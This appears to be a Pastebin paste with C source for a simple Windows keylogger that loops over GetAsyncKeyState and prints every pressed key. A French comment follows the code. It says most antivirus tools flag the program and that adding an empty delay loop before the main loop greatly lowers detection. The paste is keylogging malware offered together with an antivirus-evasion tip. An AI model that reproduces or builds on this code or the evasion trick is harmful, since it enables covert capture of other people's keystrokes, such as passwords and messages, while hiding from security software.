Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <Windows.h>
- int
- main(void)
- {
- while (1)
- {
- for (int i = 1; i <= 255; i++)
- {
- if (GetAsyncKeyState(i) == -32767)
- {
- printf("%c", i);
- }
- }
- }
- return EXIT_SUCCESS;
- }
- #---------------------------------------------------------------------------------------------------------------------------------#
- ce code est détecté par la plupart des antivirus, mais une simple ligne de code en plus permet de grandement diminuer la détection :
- for (int i = 0; i < 99999999; i++);
- Il suffit d'ajouter cette ligne avant le while(1).
- #---------------------------------------------------------------------------------------------------------------------------------#
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement